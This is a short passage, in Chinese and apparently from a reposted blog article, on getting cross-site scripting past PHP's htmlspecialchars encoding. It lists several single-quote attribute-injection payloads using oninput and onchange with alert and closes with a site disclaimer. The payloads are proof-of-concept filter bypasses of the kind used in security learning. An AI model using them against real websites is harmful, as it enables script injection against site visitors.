倘若是在script、input标签当中，即可突破。
Payload
' oninput=alert`1` // 当要在input中输入内容时触发事件
' oninput=alert`1` ' 同上
' onchange=alert`1` // 发生改变的时候触发该事件
' onchange=alert`1` ' 同上
在script里直接alert
xss绕过htmlspecialchars实体编码的姿势
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。